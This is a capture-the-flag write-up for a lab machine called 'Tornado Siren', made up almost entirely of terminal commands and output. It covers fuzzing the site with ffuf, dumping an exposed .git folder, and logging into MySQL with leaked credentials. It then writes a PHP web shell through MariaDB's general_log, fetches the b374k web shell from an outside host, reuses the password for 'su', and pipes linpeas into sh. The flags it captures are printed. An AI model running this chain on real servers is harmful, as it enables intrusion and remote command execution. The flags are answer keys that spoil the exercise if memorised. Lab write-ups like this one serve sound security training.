TORNADO SIREN

1
mrwan2546@macbook Downloads % ffuf -w ./common.txt -recursion -u  http://172.18.0.35/FUZZ
2

3
        /'___\  /'___\           /'___\
4
       /\ \__/ /\ \__/  __  __  /\ \__/
5
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
6
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
7
         \ \_\   \ \_\  \ \____/  \ \_\
8
          \/_/    \/_/   \/___/    \/_/
9

10
       v2.1.0-dev
11
________________________________________________
12

13
 :: Method           : GET
14
 :: URL              : http://172.18.0.35/FUZZ
15
 :: Wordlist         : FUZZ: /Users/mrwan2546/Downloads/common.txt
16
 :: Follow redirects : false
17
 :: Calibration      : false
18
 :: Timeout          : 10
19
 :: Threads          : 40
20
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
21
________________________________________________
22

23
.git                    [Status: 301, Size: 309, Words: 20, Lines: 10, Duration: 27ms] <- ???
24
[INFO] Adding a new job to the queue: http://172.18.0.35/.git/FUZZ
25
...

1
wget --mirror -I .git http://172.18.0.35/.git/

1
mrwan2546@macbook 172.18.0.35 % git status
2
On branch master
3
Changes not staged for commit:
4
  (use "git add/rm <file>..." to update what will be committed)
5
  (use "git restore <file>..." to discard changes in working directory)
6
        deleted:    bak.php
7
        deleted:    index.php
8

9
no changes added to commit (use "git add" and/or "git commit -a")

1
mrwan2546@macbook 172.18.0.35 % git restore .
2
mrwan2546@macbook 172.18.0.35 % ls -la
3
total 24
4
drwxr-xr-x   5 mrwan2546  staff   160 Sep 14 12:00 .
5
drwxr-xr-x   5 mrwan2546  staff   160 Sep 14 11:58 ..
6
drwxr-xr-x  22 mrwan2546  staff   704 Sep 14 12:00 .git
7
-rw-r--r--   1 mrwan2546  staff   226 Sep 14 12:00 bak.php
8
-rwxr-xr-x   1 mrwan2546  staff  6589 Sep 14 12:00 index.php
9
mrwan2546@macbook 172.18.0.35 %

1
mrwan2546@macbook ~ % mysql -h 172.18.0.35 -u devlnw -p -D dev_tornado_siren
2
Enter password:
3
Reading table information for completion of table and column names
4
You can turn off this feature to get a quicker startup with -A
5

6
Welcome to the MySQL monitor.  Commands end with ; or \g.
7
Your MySQL connection id is 57
8
Server version: 5.5.5-10.11.13-MariaDB-0ubuntu0.24.04.1 Ubuntu 24.04
9

10
Copyright (c) 2000, 2025, Oracle and/or its affiliates.
11

12
Oracle is a registered trademark of Oracle Corporation and/or its
13
affiliates. Other names may be trademarks of their respective
14
owners.
15

16
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
17

18
mysql>

1
Username: devlnw
2
Password: lnwza888

1
mysql> SET GLOBAL general_log_file = '/var/www/html/shell.php';
2
Query OK, 0 rows affected (0.022 sec)
3

4
mysql> SET GLOBAL log_output = 'FILE';
5
Query OK, 0 rows affected (0.018 sec)
6

7
mysql> SET GLOBAL general_log = 'ON';
8
Query OK, 0 rows affected (0.020 sec)
9

10
mysql> SELECT "<?php system($_GET['cmd']) ;?>";
11
+--------------------------------+
12
| <?php system($_GET['cmd']) ;?> |
13
+--------------------------------+
14
| <?php system($_GET['cmd']) ;?> |
15
+--------------------------------+
16
1 row in set (0.019 sec)
17

18
mysql> SET GLOBAL general_log = 'OFF';
19
Query OK, 0 rows affected (0.024 sec)
20

21
mysql>

1
/usr/sbin/mariadbd, Version: 10.11.13-MariaDB-0ubuntu0.24.04.1 (Ubuntu 24.04). started with: Tcp port: 3306 Unix socket: /run/mysqld/mysqld.sock Time Id Command Argument 250914 5:10:38 57 Query SELECT "www-data" 250914 5:10:41 57 Query SET GLOBAL general_log = 'OFF'

1
http://172.18.0.35/shell.php?cmd=wget%20-O%20attack.php%20https://webshell.org/b374k-shell.txt

1
cat: /home/devlnw/flag.txt: Permission denied

1
/var/www/html>su devlnw
2
Password: ??
3
su: Authentication failure

1
/var/www/html>su devlnw
2
Password: lnwza888
3
id
4
uid=1001(devlnw) gid=1001(devlnw) groups=1001(devlnw)

1
cat /home/devlnw/flag.txt
2
TEMPEST{22455c611d206a5e6e500631828a8c9f}
3
exit

1
TEMPEST{22455c611d206a5e6e500631828a8c9f}

1
/var/www/html>sudo -S su -
2

3
We trust you have received the usual lecture from the local System
4
Administrator. It usually boils down to these three things:
5

6
    #1) Respect the privacy of others.
7
    #2) Think before you type.
8
    #3) With great power comes great responsibility.
9

10
For security reasons, the password you type will not be visible.
11

12
Password: ???
13
Sorry, try again.
14
Password: ???
15
Sorry, try again.
16
Password: QwQ
17
sudo: 3 incorrect password attempts
18
/var/www/html>

1
/var/www/html>curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
2
...
3

4
-rwsr-xr-x 1 root root 40K May 30  2024 /usr/bin/newgrp  --->  HP-UX_10.20
5
-rwsr-xr-x 1 root root 72K May 30  2024 /usr/bin/chfn  --->  SuSE_9.3/10
6
-rwsr-xr-x 1 root root 44K May 30  2024 /usr/bin/chsh
7
-rwsr-xr-x 1 root root 75K May 30  2024 /usr/bin/gpasswd
8
-rwsr-xr-x 1 root root 1019K Sep  8 20:31 /usr/bin/sudo  --->  check_if_the_sudo_version_is_vulnerable
9

10
...

1
ls /root
2
flag.txt
3
cat /root/flag.txt
4
TEMPEST{853d667ecda1b5e5f6cd28ce6c9b7c5a}

1
TEMPEST{853d667ecda1b5e5f6cd28ce6c9b7c5a}